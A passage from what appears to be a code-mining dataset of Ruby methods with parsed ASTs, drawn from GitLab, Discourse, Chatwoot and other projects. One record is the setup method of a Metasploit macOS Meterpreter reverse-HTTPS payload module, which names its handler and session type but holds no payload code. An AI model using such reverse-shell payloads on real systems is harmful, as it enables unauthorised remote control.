%6.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"digits\"]}]},{\"type\":\"str\",\"children\":[\"f\"]}]}]}]},\"*\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fmt_vals\"]},\"<<\",{\"type\":\"str\",\"children\":[\"  %8d\"]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@single_type\"]},{\"type\":\"str\",\"children\":[\"Size\"]},{\"type\":\"str\",\"children\":[\"Type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@errors\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"   req/sec    50%     75%     90%     99%    100%  Resp Size  Errors\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"desc_width\",{\"type\":\"int\",\"children\":[83]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"   req/sec    50%     75%     90%     99%    100%  Resp Size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"desc_width\",{\"type\":\"int\",\"children\":[65]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@single_type\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"─\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"desc_width\"]}]}]},{\"type\":\"str\",\"children\":[\" %s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_types\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_sizes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@single_type\"]},null,{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"─\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"desc_width\"]}]}]},{\"type\":\"str\",\"children\":[\"%5dkB\"]}]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body_types\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"t_desc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hsh\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"summaries\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"size\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"t_desc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"times\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hsh\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"times_summary\"]}]},\"values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@single_type\"]},{\"type\":\"lvar\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"t_desc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"lvar\",\"children\":[\"fmt_vals\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hsh\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rps\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"times\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hsh\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"resp_size\"]}]}]}]}]}]}]}]}]}]}","id":"7f3cca23-038e-4561-b054-8584485fe639"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/billboard.rb","start_line":261,"raw_source":"def human_readable_placement_area\n    ALLOWED_PLACEMENT_AREAS_HUMAN_READABLE[ALLOWED_PLACEMENT_AREAS.find_index(placement_area)]\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"human_readable_placement_area\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_PLACEMENT_AREAS_HUMAN_READABLE\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_PLACEMENT_AREAS\"]},\"find_index\",{\"type\":\"send\",\"children\":[null,\"placement_area\"]}]}]}]}","id":"82f737ca-2f70-4870-89da-71b1246dbb9c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/highlight.rb","start_line":27,"raw_source":"def highlight(text, continue: false, plain: false, context: {}, used_on: :blob)\n      @context = context\n\n      plain ||= self.class.too_large?(text.length)\n\n      highlighted_text = highlight_text(text, continue: continue, plain: plain, used_on: used_on)\n      highlighted_text = link_dependencies(text, highlighted_text, used_on: used_on) if blob_name\n      highlighted_text\n    end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"highlight\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"kwoptarg\",\"children\":[\"continue\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"plain\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"used_on\",{\"type\":\"sym\",\"children\":[\"blob\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@context\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"too_large?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"highlighted_text\",{\"type\":\"send\",\"children\":[null,\"highlight_text\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"continue\"]},{\"type\":\"lvar\",\"children\":[\"continue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"lvar\",\"children\":[\"plain\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"used_on\"]},{\"type\":\"lvar\",\"children\":[\"used_on\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob_name\"]},{\"type\":\"lvasgn\",\"children\":[\"highlighted_text\",{\"type\":\"send\",\"children\":[null,\"link_dependencies\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"highlighted_text\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"used_on\"]},{\"type\":\"lvar\",\"children\":[\"used_on\"]}]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"highlighted_text\"]}]}]}","id":"939521f4-2d8b-4789-8e99-74efe520ebdc"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/lib/reverse_etl/loaders/standard.rb","start_line":107,"raw_source":"def update_sync_record_logs_and_status(report, sync_record)\n        status = report.tracking.success.zero? ? \"failed\" : \"success\"\n        sync_record.update(logs: get_sync_records_logs(report), status:)\n      end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sync_record_logs_and_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]},{\"type\":\"arg\",\"children\":[\"sync_record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"tracking\"]},\"success\"]},\"zero?\"]},{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_record\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logs\"]},{\"type\":\"send\",\"children\":[null,\"get_sync_records_logs\",{\"type\":\"lvar\",\"children\":[\"report\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}","id":"48906d74-4d6a-4c50-9e76-bc8e0a48b777"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240501044503_add_approval_project_rules_users_project_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :approval_project_rules_users, column: :project_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"approval_project_rules_users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]}]}]}]}","id":"4befd920-334c-4c89-a851-cf2e39df3001"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/discourse_db.rb","start_line":85,"raw_source":"def column_names(table_name)\n      query = <<~SQL\n        SELECT column_name\n        FROM information_schema.columns\n        WHERE table_name = $1\n        ORDER BY ordinal_position\n      SQL\n\n      result = @connection.exec_params(query, [table_name])\n      result.column_values(0).map(&:to_sym)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"column_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT column_name\\n\"]},{\"type\":\"str\",\"children\":[\"FROM information_schema.columns\\n\"]},{\"type\":\"str\",\"children\":[\"WHERE table_name = $1\\n\"]},{\"type\":\"str\",\"children\":[\"ORDER BY ordinal_position\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"exec_params\",{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"column_values\",{\"type\":\"int\",\"children\":[0]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]}]}","id":"06f420d8-f74e-4ebc-a28d-33f88dc2e093"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/work_items/widgets/base.rb","start_line":49,"raw_source":"def type\n        self.class.type\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"type\"]}]}","id":"080f0ccc-0431-4043-9c4b-ecc893a432a7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/geocoder/setup_service.rb","start_line":29,"raw_source":"def extract_tar_file(source_file)\n    tar_extract = Gem::Package::TarReader.new(Zlib::GzipReader.open(source_file))\n    tar_extract.rewind\n\n    tar_extract.each do |entry|\n      next unless entry.full_name.include?('GeoLite2-City.mmdb') && entry.file?\n\n      File.open GeocoderConfiguration::LOOK_UP_DB, 'wb' do |f|\n        f.print entry.read\n      end\n    end\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_tar_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tar_extract\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Package\"]},\"TarReader\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zlib\"]},\"GzipReader\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"source_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar_extract\"]},\"rewind\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tar_extract\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"full_name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"GeoLite2-City.mmdb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"file?\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeocoderConfiguration\"]},\"LOOK_UP_DB\"]},{\"type\":\"str\",\"children\":[\"wb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"read\"]}]}]}]}]}]}]}","id":"11a3dab9-0774-4d35-9e8c-3738c436b2ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/ldap/dn.rb","start_line":291,"raw_source":"def method_missing(method, *args, &block)\n          @dn.send(method, *args, &block)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dn\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"9dad70b3-33e0-437b-b6bc-da1f22c99175"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/osx/aarch64/meterpreter_reverse_https.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OSX Meterpreter, Reverse HTTPS Inline',\n        'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',\n        'Author' => [\n          'Adam Cammack <adam_cammack[at]rapid7.com>',\n          'Brent Cook <brent_cook[at]rapid7.com>',\n          'timwr',\n          'usiegl00'\n        ],\n        'Platform' => 'osx',\n        'Arch' => ARCH_AARCH64,\n        'License' => MSF_LICENSE,\n        'Handler' => Msf::Handler::ReverseHttps,\n        'Session' => Msf::Sessions::Meterpreter_aarch64_OSX\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"OSX Meterpreter, Reverse HTTPS Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Run the Meterpreter / Mettle server payload (stageless)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Adam Cammack <adam_cammack[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"Brent Cook <brent_cook[at]rapid7.com>\"]},{\"type\":\"str\",\"children\":[\"timwr\"]},{\"type\":\"str\",\"children\":[\"usiegl00\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"osx\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"ReverseHttps\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Meterpreter_aarch64_OSX\"]}]}]}]}]}]}","id":"424025b6-f65d-469b-951a-2727bc52c263"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/auth/default_current_user_provider.rb","start_line":467,"raw_source":"def user_api_key_limiter_1_day\n    @user_api_key_limiter_1_day ||=\n      RateLimiter.new(\n        nil,\n        \"user_api_day_#{@hashed_user_api_key}\",\n        GlobalSetting.max_user_api_reqs_per_day,\n        1.day,\n        error_code: \"user_api_key_limiter_1_day\",\n      )\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"user_api_key_limiter_1_day\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_api_key_limiter_1_day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_api_day_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hashed_user_api_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"max_user_api_reqs_per_day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error_code\"]},{\"type\":\"str\",\"children\":[\"user_api_key_limiter_1_day\"]}]}]}]}]}]}","id":"7b70c3b1-806e-4355-a660-ebd2355fc97b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/contracts/bim/bcf/viewpoints/create_contract.rb","start_line":149,"raw_source":"def validate_lines\n        return unless (ljson = viewpoint[\"lines\"])\n\n        if !ljson.is_a?(Array) ||\n           ljson.any? { |line| invalid_line?(line) }\n          errors.add(:json_viewpoint, :invalid_lines)\n        end\n      end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_lines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ljson\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"viewpoint\"]},\"[]\",{\"type\":\"str\",\"children\":[\"lines\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ljson\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},\"!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ljson\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[null,\"invalid_line?\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"json_viewpoint\"]},{\"type\":\"sym\",\"children\":[\"invalid_lines\"]}]},null]}]}]}","id":"f8c28c76-19eb-45d1-bfa9-09c02d71e9c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/prune_expired_export_jobs_service.rb","start_line":16,"raw_source":"def delete_expired_jobs\n          loop do\n            deleted_count = ProjectExportJob.prunable.limit(BATCH_SIZE).delete_all\n            break if deleted_count == 0\n          end\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_expired_jobs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"deleted_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectExportJob\"]},\"prunable\"]},\"limit\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"delete_all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_count\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]}]}]}]}","id":"6baf0f00-63ae-440c-9162-733af94c8ca2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/move_service.rb","start_line":6,"raw_source":"def execute(list)\n        @board = list.board\n        @old_position = list.position\n        @new_position = params[:position]\n\n        return false unless list.movable?\n        return false unless valid_move?\n\n        list.with_lock do\n          reorder_intermediate_lists\n          update_list_position(list)\n        end\n      end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@board\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"board\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_position\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"position\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@new_position\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"movable?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_move?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"with_lock\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reorder_intermediate_lists\"]},{\"type\":\"send\",\"children\":[null,\"update_list_position\",{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}]}]}]}","id":"6fa8b900-7907-4883-bbdb-af8966543746"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/record_target_platforms_service.rb","start_line":34,"raw_source":"def project_setting\n      @project_setting ||= ::ProjectSetting.find_or_initialize_by(project: project) # rubocop:disable CodeReuse/ActiveRecord\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_setting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_setting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ProjectSetting\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]}]}","id":"cfa5adef-732e-4bff-a972-3b242fe8ccd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/image.rb","start_line":26,"raw_source":"def initialize(image)\n          case image\n          when String\n            @name = image\n            @ports = []\n            @executor_opts = {}\n          when Hash\n            @alias = image[:alias]\n            @command = image[:command]\n            @entrypoint = image[:entrypoint]\n            @name = image[:name]\n            @ports = build_ports(image).select(&:valid?)\n            @variables = build_variables(image)\n            @executor_opts = image.fetch(:executor_opts, {})\n            @pull_policy = image[:pull_policy]\n          end\n        end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"image\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ports\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@executor_opts\",{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@alias\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"alias\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@command\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"command\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@entrypoint\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"entrypoint\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ports\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_ports\",{\"type\":\"lvar\",\"children\":[\"image\"]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@variables\",{\"type\":\"send\",\"children\":[null,\"build_variables\",{\"